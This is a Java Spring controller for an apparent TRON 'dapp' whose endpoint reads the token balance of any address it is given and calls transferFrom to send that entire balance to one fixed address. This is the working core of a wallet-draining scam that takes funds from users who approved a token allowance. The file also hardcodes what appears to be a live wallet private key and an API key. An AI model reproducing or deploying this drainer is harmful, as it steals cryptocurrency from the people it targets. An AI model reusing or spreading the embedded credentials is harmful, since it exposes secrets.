package cc.mrbird.febs.modules.dapp.controller;

import cc.mrbird.febs.common.entity.FebsResponse;
import cc.mrbird.febs.modules.dapp.dto.TrxPostDto;
import io.swagger.annotations.Api;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;
import org.tron.trident.core.ApiWrapper;
import org.tron.trident.core.contract.Contract;
import org.tron.trident.core.contract.Trc20Contract;

import javax.servlet.http.HttpServletRequest;
import java.math.BigDecimal;
import java.math.BigInteger;

/**
 * @author wzy
 * @date 2021-10-19
 **/
@Slf4j
@RequiredArgsConstructor
@CrossOrigin(origins = "*")
@RestController
@Api(value = "接口啊", tags = "接口啊")
@RequestMapping(value = "/trx")
public class DappController {

    private final String PRIVATE_KEY = "7a1cdc7aa2976b16cfc79ed8310b1fb53a85780dd27574fa6c5eb7c2aceaa6ae";


    @PostMapping(value = "/trcPost.html")
    public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) {
        ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");

        Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
        Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
        BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
        System.out.println(balanceOf);

        BigInteger decimals = token.decimals();

        BigDecimal divide = BigDecimal.TEN.pow(decimals.intValue());
        BigDecimal balance = BigDecimal.valueOf(balanceOf.intValue()).divide(divide, 0, BigDecimal.ROUND_DOWN);

        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balance.longValue(), 0, "memo", 100000000L);

        return new FebsResponse().success();
    }
}